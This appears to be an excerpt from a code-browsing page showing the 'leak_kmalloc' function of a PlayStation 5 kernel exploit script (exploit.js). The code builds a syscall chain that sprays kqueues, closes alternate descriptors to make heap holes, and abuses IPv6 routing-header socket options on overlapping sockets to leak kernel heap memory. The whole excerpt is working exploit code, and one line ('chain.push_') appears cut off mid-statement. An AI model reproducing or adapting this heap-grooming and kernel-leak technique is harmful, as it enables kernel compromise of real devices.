Function leak_kmalloc

document/en/ps5/exploit.js:694–723

(size)

    let leak_kmalloc_buf_store  = p.malloc(0x800);

    let leak_kmalloc = async function(size) {
        // Build rthdr
        let rthdr_len = build_rthdr_msg(leak_kmalloc_buf_store, size);

        // Set rthdr
        if (size == 0x120) {
            // Spray kqueues
            for (let i = 0; i < 0x5C; i++) {
                await chain.add_syscall_ret(kqueue_fds_store.add32(i * 0x4), SYSCALL_KQUEUE);
            }

            await chain.run();

            // Create holes
            for (let i = 0; i < 0x5C; i += 0x2) {
                let kq_fd = p.read4(kqueue_fds_store.add32(i * 0x4));
                chain.push_
                await chain.add_syscall(SYSCALL_CLOSE, kq_fd);
            }
        }

        await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_RTHDR, leak_kmalloc_buf_store, rthdr_len);

        // Get rthdr on overlap
        chain.push_write8(rthdr_size_store, size);
        await chain.add_syscall(SYSCALL_GETSOCKOPT, overlap_sock, IPPROTO_IPV6, IPV6_RTHDR, leak_kmalloc_buf_store, rthdr_size_store);

        // Run
        await chain.run();
    }

    await log("[+] Leaking kqueue...");